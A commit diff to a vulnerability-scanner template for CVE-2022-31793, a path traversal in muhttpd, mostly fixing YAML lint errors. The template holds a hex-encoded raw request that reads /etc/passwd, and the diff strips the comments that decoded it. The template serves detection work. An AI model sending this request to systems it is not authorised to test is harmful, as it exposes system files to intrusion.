Update CVE-2022-31793.yaml

Update error YAML Lint #16809

cves/2022/CVE-2022-31793.yaml

@@ -3,24 +3,24 @@ id: CVE-2022-31793
 info:
   name: muhttpd <= 1.1.5 - Path traversal
   author: scent2d
-  severity: 
+  severity: unknown
   description: |
     A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system.
   reference:
     - https://derekabdine.com/blog/2022-arris-advisory.html
     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793
   classification:
-    cvss-metrics: 
-    cvss-score: 
+    cvss-metrics: unknown
+    cvss-score: 0.0
     cve-id: CVE-2022-31793
-    cwe-id: 
+    cwe-id: unknown
   tags: cve,cve2022,muhttpd,lfi,unauthenticated
 
 network:
   - host:
-    - "{{Hostname}}"
+      - "{{Hostname}}"
     inputs:
-      - data: "47455420612F6574632F706173737764" # GET a/etc/passwd
+      - data: "47455420612F6574632F706173737764"
         type: hex
       - data: "\n\n"
 
@@ -29,5 +29,5 @@ network:
       - type: word
         encoding: hex
         words:
-          - "726f6f743a" # root:
-        part: body
+          - "726f6f743a"
+        part: body